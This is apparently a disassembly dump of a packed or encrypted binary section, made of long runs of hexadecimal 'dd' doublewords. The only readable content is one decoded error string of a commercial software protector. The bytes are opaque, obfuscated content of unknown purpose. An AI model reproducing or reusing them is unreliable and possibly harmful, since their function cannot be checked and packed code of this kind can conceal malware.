		dd 0EA4FD096h, 0F0F1D089h, 0F7D5897Eh, 94D2CE9Dh, 33D2FA6Fh
		dd 8717E1FEh, 4687D9A8h, 0F50CF972h, 0C1CC296Fh, 9A70DB67h
		dd 693541D9h, 28E49BFh,	7AC4CBE5h, 939A360Fh, 0E21BD0E3h
		dd 0D1C40D8Bh, 95314EB4h, 22C522D5h, 0FF70B58Dh, 0B791DC6Eh
		dd 8BEC2EF4h, 53862800h, 0A8C32873h, 8B0CDA4Fh,	5E709BF1h
		dd 0BDDB2BD7h, 1457AAEh, 33C00000h, 115ED353h, 4872C345h
		dd 0F479FA3Eh, 97810F5Eh, 0D51A9621h, 8F50A402h, 0AD8B3B6h
		dd 0D2B1C0FDh, 742FCE4Eh, 0F16FFE66h, 0FE8C1F07h, 4DA2E7BFh
		dd 1B6AE63Eh, 60F67F95h, 0A633A688h, 0F95304DFh, 0EF7EA8B0h
		dd 0CC58E227h, 1CC4B1D9h, 0CC49902Ah, 7F9D0740h, 0ABBA5CC5h
		dd 23926D6Bh, 63BCCF83h, 366D1693h, 8B2C8C5h, 0B92FF987h
		dd 6AAB7BFEh, 9BF28805h, 0EE47C81Dh, 2F937211h,	8DCF8E0Bh
		dd 0F041C1A3h, 4800B9Fh, 0F615A278h, 6F737F4Bh,	1E36BDA7h
		dd 20653D7Ch, 57D4A2CFh, 750D49ADh, 95ADC233h, 34BD0ACEh
		dd 821882F7h, 20146E37h, 62184CE5h, 0DA3C4C0Bh,	0C4BCED83h
		dd 7F11BDA2h, 43C89E19h, 0A62A9FEEh, 2EE013ADh,	829ACACEh
		dd 0B4C18DA5h, 0DE74FCC0h, 0AB108B5Bh, 0FB3DF223h, 0E720AC74h
		dd 3C74FB3Dh, 5518FA5Ah, 7E39DBF3h, 611267A8h, 0E60A19E8h
		dd 0B4BE0573h, 582B2CC3h, 313CE032h, 1D47A8E9h,	712F1F80h
		dd 27B56B3Ch, 0F2000014h, 461041AAh, 0F60071C2h, 451142B3h
		dd 0F2046DDEh, 37123FB0h, 86EB2B7Ch, 1C9D19EDh,	85EA2F37h
		dd 18991AECh, 9319A03Bh, 0C576AA62h, 0E0E698B7h, 0C995DA5Fh
		dd 0CE77B348h, 11A9E657h, 0E6D4E6A7h, 0DC5DDDA9h, 0B14ACB93h
		dd 0D76B0475h, 9761ACC1h, 11FF6295h, 0C5D6C1F3h, 0F88F79Dh
		dd 4DC972B3h
		dd 265FEDECh, 7BCD51ABh, 0A852FF99h, 719F36F6h,	5FDBh
		dd 101ABD00h, 0BAD32466h, 49C712A8h, 4F75CEF2h,	172A02A3h
		dd 0D983FFE0h, 1CA92494h, 410D6234h, 0F4026FC0h, 1F313EB3h
		dd 0B4387FF5h, 7DE9F004h, 938DE5BCh, 9947570h, 53672889h
		dd 0C1AA2665h, 3E1CB4DEh, 7BDD4D42h, 7BBF87FAh,	68AD79F6h
		dd 56D3B107h, 77F68CE1h, 63A7BD95h, 0D3C7AC0Eh,	76DB58E0h
		dd 0C2CB2870h, 39E6F2C6h, 47A591F0h, 0F5CD9005h, 2A8F0FB4h
		dd 206B4D65h, 32748440h, 0D5AC22DFh, 0D96D998Ch, 0B292D96Eh
		dd 690A6FACh, 0E0D74DD7h, 0E4ECDA4Ch, 0F234120Ah, 135AF07Dh
		dd 3BD21695h, 4B7713EBh, 86CAA048h, 350DCC6Eh, 1AD081F2h
		dd 1E775204h, 1D67F72h,	1A890000h, 0D320680Eh, 9D33B3E5h
		dd 4D1E389Dh, 3963DCCh,	573E3AF1h, 1CEE5493h, 1100252Ch
		dd 3FF5EF39h, 67331F59h, 0F12AA633h, 46CD5292h,	5C6C1974h
		dd 9E0C1A16h, 1A7525DCh, 0FDDB9D0Dh, 7722049Dh,	8C8F6C9Eh
		dd 0B8000000h, 55F0A9E9h, 0E90261D2h, 94C6C544h, 0F12AA633h
		dd 46CD5292h, 858B1974h, 52336117h, 0CE13902Ah,	980D600Ch
		dd 73C4451Dh, 4A239411h, 0D1373538h, 80A6BB40h,	53B97F91h
		dd 0CE5027Eh, 5AD2FD7Ch, 0F87401B8h, 0DD5B8BBFh, 37EB8214h
		dd 5ED35333h, 471F9A0Fh, 851D72C7h, 59E05406h, 891834A7h
		dd 0C0429CB8h, 686F496Fh, 0D798199Ah, 3376A8C3h, 0E5DD253h
		dd 33B93C7Dh, 0CD529302h, 74AFB557h, 99F48607h,	57F2E5h
		dd 33A80000h, 92F12AA6h, 7446CD52h, 17858B19h, 0E40C2A0h
		dd 52934982h, 9EFC9ECDh, 80B2B9D1h, 62479D33h, 7E66D00h
		dd 547DFEC1h, 9FD854E1h, 64CF9B8h, 485A3384h, 85038A2Ch
		dd 0D8B34E0h, 3D3BCD4Dh, 9D33A633h, 0CD52936Ch,	0E95EFC1h
		dd 0E09CCE9Dh, 159EDC59h, 77220485h, 3E8F6C9Eh,	79000000h
		dd 63C85333h, 0F2977C08h, 0FA298DBh, 83F5A33Dh,	0E0B19D33h
		dd 1E040C3h, 3EC62A6Fh,	0CA0C782h, 5A3C1452h, 0D2533320h
		dd 489F229h, 4C414C6Eh,	0DB58E08Ah, 0F285159Dh,	4Fh, 9D0D1AA8h
		dd 0DC9D33DBh, 96206904h, 70B748D0h, 0DAD69503h, 0D6DC35E1h
		dd 0FA7603B6h, 0C5DBB2C1h, 700F4F16h, 6D60012Eh, 0C244404Bh
		dd 8DBE8AA8h, 6DCDBADh,	135B3485h, 0F37A2095h, 0E067333Fh
		dd 339DDB58h, 92F12AA6h, 7446CD52h, 33148619h, 92F12AA6h
		dd 0D258CD52h, 0DA7A105Dh, 21FF3538h, 35FFFFFEh, 0A5135233h
		dd 0EC2806EAh, 9B1113A1h, 309A901Ch, 0C2C9A88Eh, 0BF4EE5ECh
		dd 51BA1DC3h, 0FE908803h, 20683EBBh, 0E5A8BAD3h, 0B69B1C9Dh
		dd 9D03AEAh, 0F875FE39h, 0A0D95762h, 0F5F22CB7h, 0D7554823h
		dd 0BAD694F0h, 0D55ADCAAh, 0ED6B0298h, 935C9E91h, 60EC69DCh
		dd 93381727h, 233B97Ch,	57933817h, 0C88E3B5h, 545D7AF4h
		dd 0E213991Ch, 37433871h, 0B2670E55h, 424B2CD6h, 1FF1C92Bh
		dd 108B5B4Eh, 0BDD0E2ABh, 0A51B58BFh, 0C98B0976h, 8B4E3E78h
		dd 97157BBBh, 3E74475Eh, 0B6B7E1B3h, 99CBC9A4h,	513AB07Dh
		dd 0FC0F48C4h, 9E6439AFh, 6D009A1Bh, 0F344C58Bh, 0A852D49Ah
		dd 4A25D2D8h, 0BDD2E8E5h, 82AA1DE8h, 2D657623h,	5406E7Dh
		dd 4454h, 0D3AC7500h, 94E12759h, 0B01C67FBh, 0F72B4264h
		dd 0F12AA633h, 46CD5292h, 0FA9B1974h, 2B502474h, 32CBF768h
		dd 8313F2E5h, 0ED8BFAD6h, 0C8A11C67h, 0E118511Ch, 0E2530E8Ah
		dd 0C298C3D1h, 8583F041h, 0FBh,	9A101AD3h, 87CB9A1Fh, 0F4B2766Bh
		dd 28B7F0C0h, 2A0CCD52h, 0DAE26E63h, 909A9FBh, 571AFA1h
		dd 8E8030ECh, 5A28BFCCh, 80125BDCh, 4A3D6FE5h, 89E43E8Eh
		dd 45C197AFh, 8613C6F4h, 0CAFED10Ah, 0D86026BEh, 3B2E3D5Bh
		dd 0A8C92E6Bh, 0E1D859DEh, 0FE9FD854h, 22F4BECAh, 9A7C0C4Bh
		dd 95209524h, 0CAFEDE17h, 0A6133BEh, 0B8994E8Eh, 1C45FDF6h
		dd 15EDCFB6h, 0F34D2091h, 0ABDACE37h, 41D34BB7h, 0D26BB076h
		dd 9DB6E455h, 0A2EB4CC9h, 1B9E1416h, 2269CE4Bh,	0DA5C2AAFh
		dd 8C9A1655h, 0AB840607h, 508E6978h, 0B4B801CDh, 0ED05000Ah
		dd 75B68C4Bh, 5FDA4F04h, 9B498D1h, 404BEDD0h, 0E38B9FAh
		dd 0CC3E1A67h, 3FE09857h, 0A00000Fh, 3E482992h,	0ED879FAh
		dd 3D492A8Bh, 0ADC75E6h, 2F4A2788h, 5ED35354h, 54A5E1F5h
		dd 5DD2571Fh, 50A1E2F4h, 7B11C823h, 0C576A54Ah,	0E0BED09Fh
		dd 1465A65Fh, 0BCD1E77Bh, 2B8FDC5h, 10D0E729h, 0F77822EBh
		dd 308AEF2Fh, 2394155Dh, 5245344Ah, 0F44B5F6h, 58911F9Ah
		dd 0ADCD520Fh, 6CDE800Bh, 65719ED3h, 94h, 0D35333B3h, 0F279115Eh
		dd 8B4EC466h, 7DF2380Eh, 0C9FC72EEh, 172BE6A7h,	2F5E479h
		dd 531AB68Fh, 488E2663h, 0D0A54745h, 8068E47Eh,	19E8E1AEh
		dd 46AFE64Eh, 1049C7ADh, 65C4798Ch, 0E0A6E5D3h,	5ADFDA5Fh
		dd 798BA5D6h, 2A8F0CC4h, 5E254D65h, 7E22141Bh, 0C7C6F447h
		dd 98199A6Ch, 8E57E2D7h, 7D77D506h, 2C5D712Eh, 81C4794Fh
		dd 46D0DCAFh, 38309D0h,	32B80EC3h, 54033CA0h, 0BF3FEF8Bh
		dd 72E7D48Eh, 6D36ADDEh, 5D3002D3h, 9D1DE3FBh, 15D57E1Ch
		dd 0DCDB58E0h, 58338406h, 3FC441FFh, 6BEE6683h,	0B52962EEh
		dd 9C7E6561h, 61B4E314h, 10563865h, 6A66258Ah, 374EAEB6h
		dd 625E4501h, 0BA880E92h, 0AC79F67Fh, 2885EA38h, 0D1B4066Eh
		dd 0E33C9341h, 0E0404BD0h, 0A011956Dh, 6AB0BBCFh, 880DCC2Dh
		dd 712CD304h, 78628FDh,	0E892942Ch, 706751A6h, 1B9C1DE5h
		dd 70395450h, 4A5AEE3Eh, 0DAF06B5h, 0AE09A041h,	9FBCA35h
		dd 0FFCAB03Eh, 3F174924h, 0BDC7008Ch, 7A1C058Ch, 7345AAECh
		dd 9A1B9E64h, 5333C1B9h, 88E92ED7h, 48457307h, 87375B32h
		dd 4A721E77h, 1B7h, 670E1A50h, 4441EC7Ch, 9D1C6A2Bh, 33F88218h
		dd 5062909Dh, 756DC118h, 0FCB8026Ch, 0A0B5C68Dh, 29B08262h
		dd 1457D859h, 0DFA63362h, 17027BFBh, 0DE90DBF2h, 1A9BE1FBh
		dd 25DC9E0Ch, 690D1A75h, 0B4C6C728h, 9DFD9406h,	9E772204h
		dd 6F8F6Ch, 33790000h, 0AD15CC52h, 96D5595Dh, 0ECAE1C0Ah
		dd 6BB09D33h, 64E10C7Dh, 21AA308Dh, 5478D7AEh, 0E1AE1F86h
		dd 7E06BAC9h, 679D196Ch, 584556E0h, 0F88B9715h,	0FE764A6Dh
		dd 94189D1Ch, 49687863h, 0F60A2B8h, 0BFCEEC7Eh,	33A6338Bh
		dd 52936C9Dh, 9CEFC1CDh, 0DC59E0EAh, 0CE52339Eh, 57A1AF4Fh
		dd 0ADED7E0Dh, 7AF2h, 991FE700h, 2C3F531Ch, 6A0C1AFAh
		dd 0B4C6C728h, 936EA725h, 0F1C3CD52h, 78510C7h,	0CD5292CEh
		dd 0CA469123h, 0CD529291h, 53954E6h, 0FE799D33h, 5C182BA3h
		dd 4F82844h, 0F976E73Eh, 76320A61h, 0DE739D7Ch,	73B68C3Fh
		dd 935A8B21h, 0DDAFCD52h, 56EA9BBh, 0B99BF288h,	8E2268B3h
		dd 0CD52935Dh, 0B5BAE0B2h, 0E6BCFB9Dh, 18991EA3h, 18554357h
		dd 3337EB82h, 0DC59E067h, 485159Eh, 6C9E7722h, 4E8Fh, 0AF3DB800h
		dd 0D0529276h, 0F0A2E9CBh, 1A9D0D1Ah, 2865CA4Ch, 3347FB92h
		dd 0DFD2E29Dh, 22B58C35h, 0F3255BB4h, 0B5464249h, 8ADF5F99h
		dd 3BB8FFC7h, 121A3430h, 0F5DDEE53h, 67335523h,	62D75333h
		dd 30F6750Dh, 150D8BE8h, 27F285h, 1AA80000h, 33DB9D0Dh
		dd 863C853h, 0BC671795h, 7B06F4B9h, 38E0B0DFh, 9F616D7Ch
		dd 902242F5h, 0E067330Ah, 159DDB58h, 0FE34F285h, 1AA8FFFFh
		dd 911F9A10h, 0FAB85524h, 0F0245745h, 70B78F96h, 79F76A03h
		dd 95EB2240h, 0D6950395h
		dd 818EB27Eh, 81597764h, 1FAD28AFh, 665F80E6h, 0A50A593Bh
		dd 1C0414F9h, 1CEADFAEh, 7C3D169Bh, 7B1263A6h, 0FCBB25EDh
		dd 0E031670h, 0C3CAC5D4h, 0B876F1Bh, 119D689Bh,	91CA46D3h
		dd 0E6017CE7h, 64D73954h, 0E82A5BF1h, 2B90017Ch, 0D9B68EE6h
		dd 3736D87Ch, 36323BDDh, 0C7C0D34Eh, 0A117C36Dh, 5542FE86h
		dd 1A6178E2h, 4D851683h, 0DD7808DDh, 0D73D7B4Bh, 78E22059h
		dd 0F5A37561h, 3DAC76h,	2AEE0000h, 0ABD3E438h, 0CA58A857h
		dd 17915A5h, 0FC7F471Dh, 0DA3F536h, 7E431CDCh, 0A6A39742h
		dd 0D282CEECh, 0DA5F5A40h, 438B2556h, 0D5987A7Eh, 0D77E7Ah
		dd 2BFB0000h, 0BAFF85EAh, 33043635h, 0D60D553h,	981F957Fh
		dd 93568F1Dh, 9ABCD52h,	0B8B53A7Bh, 5AD6CBA2h, 2B23E0FEh
		dd 0EE0BCB9Dh, 0F69A1609h, 0C1C082B7h, 0F2D007A9h, 470F44B5h
		dd 90206DC2h, 43C91086h, 0AC2067A8h, 0A3243AC9h, 5BF164BAh
		dd 9982A42Ah, 86DEAD7Fh, 0A26CF3CAh, 8E2048A9h,	853E7B4Bh
		dd 0CBDFB001h, 357284EDh, 7B9DABC4h, 7E47D205h,	8E03563Ah
		dd 8F0D603Fh, 0A1805760h, 0AB6B5201h, 0A70B9743h, 9201BDEFh
		dd 34C1F89Ah, 0C5CA2B6Eh, 1798DEADh, 64A5B1A2h,	0D2A05113h
		dd 0D394DCF1h, 0A699Dh,	83E83400h, 338008CEh, 84F1383Eh
		dd 2F9C07CFh, 7DF23442h, 0E9BEF5D4h, 5B2B48A9h,	0EDF95ADFh
		dd 5C2A47A8h, 5EFD56DBh, 0A02455DBh, 5A79C576h,	0DA5FE0A8h
		dd 13991C95h, 0CD5292E2h, 50165537h, 89256ACFh,	1747D0Eh
		dd 52933A6Bh, 6EFD8FCDh, 611267A8h, 9E4309B9h, 7EC871h
		dd 1AD20000h, 9F246610h, 9CFE9C19h, 6DDE451Dh, 8E038A20h
		dd 32AB8C02h, 4EF6BB7Eh, 15A04AC6h, 0C5CD5E97h,	8AE1B34Ah
		dd 0A753DEDAh, 3810F66Ch, 96826356h, 0DB12761h,	6FF12E3Dh
		dd 0F5EC6AD8h, 6E7AAC09h, 662DE99Bh, 1036AF70h,	0EA83F432h
		dd 26970E58h, 0BFFF0567h, 6FA2D359h, 15F7158Ah,	0F924EA83h
		dd 3463FB94h, 0E5169AA3h, 3A158A6Fh, 36634258h,	66BD6DA5h
		dd 76142966h, 0F6000000h, 0F12AA633h, 46CD5292h, 92CCFD93h
		dd 8F21CD52h, 0D4566229h, 4374F87Dh, 98CD5293h,	9281BAF6h
		dd 44D6CD52h, 59CD6356h, 78DF1D06h, 4F9F32C7h, 501F9834h
		dd 441CE9AFh, 0D0511D72h, 0A3E4F25Fh, 7A48414Eh, 0A5B3BA23h
		dd 46CA0D83h, 0C1D04546h, 439E3675h, 4DC88BAAh,	429386BFh
		dd 0D458DB89h, 894293A3h, 0E28416F8h, 3B3954A5h, 81CA60C8h
		dd 0A6CB6DC5h, 0C10DBCF4h, 768AD57h, 0AAA26B1h,	29FF3E6Bh
		dd 82C6BE3Fh, 78881692h, 7B5300EDh, 42E8E899h, 71B8527Ch
		dd 3697EA4Bh, 0F64A383h, 39AEC7Eh, 0B571D39Ah, 0EF295141h
		dd 961F9969h, 4AAAC1D9h, 0F3E65CBEh, 0F70B935Dh, 0BC8A328Bh
		dd 985258Ch, 23E8B2A7h,	0C3441A12h, 2F89216Eh, 0A05EDAA8h
		dd 0EE538FE6h, 0D59A00E9h, 0DF71AEBDh, 7DF8BF35h, 0E7CEB6EFh
		dd 62290B22h, 82BBE16Fh, 35EA1CB3h, 0EFD3CE24h,	4F1E9317h
		dd 0EB28A11Dh, 4D255A8Fh, 6CE96C6Bh, 8AE8A7E0h,	531AFC2Ah
		dd 4C258A0Bh, 5384088Dh, 0A82A8AE9h, 7EBF8706h,	4EAC4BF9h
		dd 0E3A426BFh, 861ADh, 8BF02C00h, 1B9820E6h, 8CE93036h
		dd 17841FE7h, 85EA2C3Ah, 0F1B60DECh, 431340B1h,	0F50172C7h
		dd 44123FB0h, 66056EC3h, 9E2C5DF3h, 7281C576h, 0DA5FE0A0h
		dd 0B04EC995h, 2B6C914Eh, 8CC6BFC6h, 4FE19228h,	4884FC5h
		dd 0E201621Ch, 0C899233Bh, 97720E78h, 0E42E3BD4h, 6C652A0Ch
		dd 0CDA01196h, 0B3B10285h, 1A6EBBCAh, 0F30F4906h, 0BE000007h
		dd 8A5CF566h, 0BACCA50Eh, 895DF67Fh, 0BEC8A912h, 8356FB7Ch
		dd 5ADF5F48h, 48A9EDF9h, 59DE5B2Bh, 4CADEEF8h, 8705D427h
		dd 0C5769D4Eh, 1AC2D4A3h, 911F9A10h, 9F2D251h, 26DC3F0h
		dd 0D0450801h, 0E1EE0B3Ch, 109960D0h, 0B1F0694Ch, 0D3D19CFEh
		dd 0D57AE6C7h, 8FE0B29Ah, 64BF40C7h, 0F0A3A1F7h, 20C1AB44h
		dd 788194Fh, 0C9530000h, 0A1E7EF64h, 0D0571F54h, 0BDE8EE63h
		dd 0D3532350h, 9DD4F55Eh, 4A27880Ah, 0D879FE3Ch, 4B28890Eh
		dd 0DC75FA3Bh, 536BA7Fh, 5AC5769Dh, 5333877Bh, 420C61D6h
		dd 871B74C5h, 0CC4E5A31h, 0CDCD6356h, 0FC55CF9Ch, 264532F5h
		dd 402EF7BAh, 409F7941h, 5B09F48Fh, 2964C9B4h, 0B3F86662h
		dd 0A3CBD678h, 0E0D758DDh, 77291B4Ch, 0FC9E70C5h, 83B438BDh
		dd 0D8C57728h, 2EF83736h, 0FFDC8AEBh, 33C1AB8Eh, 700BC74h
		dd 51CB0000h, 397F87ECh, 48CF97BCh, 258086EBh, 4BCB9BB8h
		dd 156C8DE6h, 0B29F1092h, 601166A4h, 0B3A01196h, 640D62A3h
		dd 8DBE5207h, 0E2C5769Bh, 5FE0FF13h, 0AA1061A6h, 0B61899E5h
		dd 5525A8EFh, 535B4813h, 0CD51F222h, 8E229577h,	0CD51F25Dh
		dd 0B5BAE0B2h, 288417C2h, 7E4792E7h, 91680BD1h,	71CAA1C6h
		dd 0BAD32465h, 83C573BEh, 1AE614B1h, 6D3987C3h,	40F98E10h
		dd 42550C8Dh, 0CC2D6939h, 0B73879C1h, 9E461F9Ah, 97FC9F1Fh
		dd 3C6D03B6h, 911FF3E5h, 65A66CFFh, 0B8FDC514h,	85F62D37h
		dd 5C1B7208h, 33209112h, 66BB076h, 0B92FF987h, 12EC72FEh
		dd 0B91BC882h, 34877DC5h, 0D8339098h, 1938B57h,	0CD40EC6Ch
		dd 97EF0A0Ah, 0EA0E50A4h, 88138B5Eh, 346108A4h,	0D0BB6BA3h
		dd 946DAB69h, 0C6BB373Eh, 1965288Bh, 68h, 9A101AFFh, 9179911Fh
		dd 0CBA89EB5h, 750EE347h, 82096AADh, 1EB227AAh,	0FDBDC5EDh
		dd 9F1D7042h, 0F5A3EF4Ah, 0CAFB9104h, 1FC57F6Ch, 4E26FE8Dh
		dd 0EF946D6Ch, 0A0E44A80h, 0C4C4830Ah, 324DC5D3h, 83F4350Dh
		dd 0C05A6CE8h, 0A925DFC9h, 5FF72829h, 99686D14h, 6894AB29h
		dd 0D6830AF5h, 0EE1D8DC5h, 7B4E01Eh, 0D6000001h, 95DA5FE0h
		dd 0A7E849C9h, 0F029A732h, 45CD5292h, 9BC4623Eh, 9426D38Ch
		dd 7FF031F9h, 6AAB7BEEh, 7FC08605h, 55D759FAh, 74EBFC12h
		dd 0EB5A752Dh, 0C35FB672h, 0DEA4FE56h, 4475FB5Dh, 0ABCD51C1h
		dd 0CC6E066Bh, 307185EEh, 78A2AEBFh, 0ABEFB702h, 0CCFD9346h
		dd 21CD51C0h, 389FC8Fh,	0E07A9979h, 0F33CC0A1h,	0A6C24841h
		dd 0EC22E9E7h, 0B36FBB60h, 99307FF2h, 5285273Fh, 0B0BD3274h
		dd 0E5D32466h, 890CCDA6h, 2EF5D203h, 6852799h, 7F3AB07Ah
		dd 6EFE8CF1h, 57073D01h, 8642BF87h, 60AD2CB6h, 9047E901h
		dd 52FF70B2h, 0BA620ED7h, 727D40DBh, 5ED3531Bh,	0BD2201E8h
		dd 82B6794Bh, 4EEh, 59FA63B9h, 0C9AA0B8Dh, 58F97ABDh, 0CDA6178Eh
		dd 5BF879B9h, 2264437Eh, 54D2A4CDh, 23686EE3h, 50D1A5CEh
		dd 60D972DFh, 76999BCCh, 2DE1F0C5h, 0DED95EE0h,	5A318608h
		dd 397A4801h, 0A6BAEB8h, 0F57ABB83h, 0A6339E5Ch, 5292F12Ah
		dd 197446CDh, 0C413898Bh, 3437B8FEh, 25A5AB41h,	8CC4F5B5h
		dd 0F7AAAD3Fh, 7DAA097Bh, 8959DC35h, 8EE6A50Eh,	0A21445CBh
		dd 0C7693579h, 0A24B7C10h, 0EA03579h, 3FE5E3ACh, 0DE79805Fh
		dd 1CECB96Bh, 1D0C7C38h, 7E44AE3Dh, 84B4B738h, 0BA09D8FDh
		dd 41FF43D7h, 9A2D5833h, 0B53EF062h, 0FDE1A1h, 0E0270000h
		dd 0C995DA5Fh, 11F1E849h, 114E1D96h, 6F7AA08Fh,	6828C1B6h
		dd 39F57763h, 6EA86AE3h, 92E7282Eh, 0EF9415E1h,	1F704AAFh
		dd 0C6118791h, 0C80464Ah, 9B2F75FCh, 0BF72E206h, 0A1D46CE6h
		dd 104DA0Bh, 65D2FD1h, 9D1A2C60h, 593F531Ch, 66278C0Bh
		dd 533B3954h, 1685B676h, 855D5C3Eh, 83DCAF00h, 0C2F56BADh
		dd 3B54B9E4h, 0E4716427h, 5716871Eh, 0B9C92459h, 5ABDD59Fh
		dd 70E554A4h, 10A01192h, 2482D1D7h, 29038A2Ch, 0D55AE0A6h
		dd 0E6A50A8Fh, 53DDD9EAh, 9623960Bh, 2F54E11Ah,	96436FBh
		dd 8C5A5D2Fh, 0BACCA50Ah, 604DF778h, 0DCF763BBh, 388550Bh
		dd 0C9530000h, 0A1E7EF64h, 0D0571F54h, 0BDE8EE63h, 0D3532350h
		dd 9DD4F55Eh, 4A27880Ah, 0D879FE3Ch, 4B28890Eh,	0DC75FA3Bh
		dd 536BA7Fh, 5AC57699h,	5EE0877Bh, 3807DED9h, 326CC569h
		dd 1065A4C2h, 53D4A27Dh, 337575DEh, 0A63C853h, 0EC2DF578h
		dd 0FB3C028Bh, 0E143DD76h, 7BE06C6Bh, 2CAF14A2h, 0A17E5F8Bh
		dd 39BAFDC5h, 5A4EDA32h, 45853321h, 46424BEDh, 520F78F8h
		dd 0EE541FA7h, 0FB9E1AF5h, 0F886D3C4h, 7BB32471h, 0C84227CBh
		dd 7C01855Dh, 0A1B9B63Bh, 58AA74F7h, 0F0000000h, 1F9A101Ah
		dd 2C699E91h, 0E4F5BF30h, 84401485h, 8C505B89h,	531CFE76h
		dd 0B2827855h, 0D336299Dh, 38FB2BADh, 0D0F62FBDh, 694B2AADh
		dd 54199E1Bh, 8E312F3Eh, 4BEA2D49h, 86BED9C4h, 55C48F14h
		dd 2CF64D14h, 0E6D85807h, 283A53A4h, 3EB3F492h,	5EE32Fh
		dd 33250000h, 0E82F1152h, 0E8832AABh, 512F546Ch, 73F97C80h
		dd 50502F42h, 680C6DA9h, 72C9C7C6h, 0EF0266B8h,	328306DCh
		dd 4A46455Dh, 0CE765A47h, 47C1A134h, 7119FEEh, 0BBCA4691h
		dd 0DCC0960Fh, 95E9EB83h, 0D458DDF0h, 84E8E0A3h, 595716F8h
		dd 666C7A81h, 37EDF4CCh, 0B07A0282h, 0F9F16238h, 33B9101Ah
		dd 0CD529302h, 1F58D457h, 74CD5293h, 17A2F8A2h,	226BC84Fh
		dd 488FD90h, 0A226A48Ah, 0F60D8AA9h, 8ECB4736h,	0DB2ECCD9h
		dd 5C5C3103h, 0ED3DF78Dh, 0D3ED247h, 62CC1978h,	17BFBDD0h
		dd 0EAC31970h, 0CDE35A5Eh, 65A4823Eh, 0A0EB7F10h, 33A4F1C8h
		dd 28C15C2Ah, 68FA93E0h, 5F253D52h, 811956DBh, 9D648EAh
		dd 42FB2024h, 1D000000h, 4A66672Ah, 3A36083Dh, 0B5711F28h
		dd 0E127B879h, 0B026F0CCh, 0BAA7A329h, 0DAD621BDh, 0A5EC5D36h
		dd 762C4529h, 0FDB098AFh, 722A366Fh, 2B5CF09Eh,	809E722Ah
		dd 91F4C6AEh, 7355ABE4h, 74DDBB2Fh, 0D4533376h,	96800C5Fh
		dd 1D139920h, 3CD17672h, 9E706106h, 0AB4DD8AEh,	3EE29B9Bh
		dd 7863429h, 39B74255h,	9D6BF500h, 0ACA8C355h, 77561439h
		dd 8D4CEE06h, 8E2274B5h, 7731945Dh, 53D9E0B2h, 77319422h
		dd 4E039577h, 3BD10788h, 7731940Ah, 0A2EBCD5Fh,	1B9E1416h
		dd 9FF83595h, 0AED2E4FBh, 0B1CDB619h, 770D43D9h, 6772442Ch
		dd 1E991E9Fh, 1C71C648h, 3BB80086h, 8E0FD730h, 0D2546429h
		dd 64CF5D5Ch, 159ADE90h, 63691A9h, 0A6E1C174h, 632A404Dh
		dd 0EF330C65h, 977951B3h, 2211D6ADh, 0CF894690h, 0E2h
		dd 6D0677ADh, 0BD961F99h, 6C056EA9h, 0B99A039Ah, 670C6DADh
		dd 2E703792h, 58DEA8C9h, 2F6C7AD7h, 5CDDA9CAh, 54E576DBh
		dd 76959FD8h, 31E5F4C5h, 1F9A101Ah, 0BC627291h,	84F793A4h
		dd 6C22CFAh, 31DF8543h,	99D6B890h, 86EB4CCDh, 3EB3F3D3h
		dd 1DA6E72Fh, 36811798h, 13943570h, 2F6AFC9Eh, 0DAB1C9C6h
		dd 55851B9Dh, 87A48BF3h, 846A934Dh, 0D7631A08h,	0B968D55Bh
		dd 0CB4D151Eh, 0FE8D256Ah, 0BA1F738h, 2AB6E2DAh, 7C3B5D2Fh
		dd 0C3E828F9h, 0C3F62B15h, 0B722BAEBh, 0EE7D0F2Ah, 3BC04115h
		dd 4F207AFFh, 5E2F9C07h, 4A239018h, 0D72B6203h,	770DCEE1h
		dd 0B8B1BE33h, 0B6AA0334h, 0CFB6582Ah, 0D2D1F992h, 77B81487h
		dd 4855102h, 1FE7DAB3h,	4258159Ah, 0FF90E524h, 36C206Bh
		dd 2A000000h, 44E06931h, 4FD096D7h, 5CD9A5EAh, 4ECC92DBh
		dd 58DAA4E9h, 4ED096D7h, 43DAA4E9h, 4EC995DAh, 5ADEA8E5h
		dd 500D94D9h, 0BE56E089h, 4, 835EF001h,	48704E8h, 89575C24h
		dd 4C781E7h, 83000000h,	3C8704EFh, 14895C24h, 4EC8124h
		dd 89000000h, 0BF57242Ch, 384006E3h, 0FFFFEF81h, 0EFC1FFFFh
		dd 0B2CF8105h, 81240C6Fh, 8E073CF7h, 0A3F78150h, 89729BBBh
		dd 8B545FFAh, 0C483242Ch, 0BF66804h, 14890000h,	8458F24h
		dd 50242C8Bh, 405E089h,	5000000h, 4, 5C240487h,	5724148Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 61E95C24h,	59FFFC2Ch
		dd 0B89C46C7h, 7DBFE3Ah, 0E0FFC503h, 8242E69h, 3A5820F4h
		dd 5AD746D3h, 1306DD0Fh, 3B9C3F39h, 7C60145h, 5653B35Bh
		dd 3666462Ch, 24F6BB86h, 8318982h, 1F99F986h, 26368388h
		dd 26587DACh, 298B318Ch, 5835015Ch, 2C11BE73h, 72D5E052h
		dd 647AEB04h, 183C4A8Fh, 37A29711h, 360DC905h, 5972735Bh
		dd 49CA86ECh, 4F64538h,	35A404E5h, 2609DA12h, 722D012Eh
		dd 7557A9AAh, 7A14986Fh, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 127BE900h, 840F0000h, 0Bh, 6E9h, 33A55300h, 8B5EA66Ch
		dd 0D31A9185h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 5780F25Dh, 892AF003h
		dd 0D3209D85h, 7E907h, 0AC3F0000h, 3A1FF4F5h, 24443931h
		dd 9F850F04h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0E498C353h,	850F94EAh
		dd 8, 8166F560h, 61B2B3D6h, 27DBD83h, 0F0007D3h, 6584h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0EE01EC72h, 1FD8765h, 0D300898Dh, 37858D07h
		dd 6A07D33Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0A03EC352h, 1DF5C71Eh,	7DBD89D0h
